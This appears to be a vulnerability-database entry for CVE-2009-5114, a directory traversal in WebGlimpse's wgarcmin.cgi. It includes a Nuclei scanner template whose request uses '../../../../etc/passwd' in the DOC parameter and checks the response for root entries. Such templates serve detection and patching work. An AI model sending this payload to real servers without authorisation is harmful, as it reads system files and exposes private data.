CVE-2009-5114: WebGlimpse 2.18.7 - Directory Traversal

日期: 2025-08-01 | 影响软件: WebGlimpse | POC: 已公开

漏洞描述

A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.

PoC代码[已公开]

id: CVE-2009-5114

info:
  name: WebGlimpse 2.18.7 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/36994
    - https://nvd.nist.gov/vuln/detail/CVE-2009-5114
    - http://websecurity.com.ua/2628/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74321
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-5114
    cwe-id: CWE-22
    epss-score: 0.26552
    epss-percentile: 0.96162
    cpe: cpe:2.3:a:iwork:webglimpse:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: iwork
    product: webglimpse
  tags: cve,cve2009,edb,lfi,iwork

http:
  - method: GET
    path:
      - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bb286ea98db89c0be5b35f03d809772fe7f31c243336bd2e8a7e51ecca8d799f022021dbdd878091bb48a13dc78559fb905fc75453c91bbd28230b6f656900b03259:922c64590222798bb761d5b6d8e72950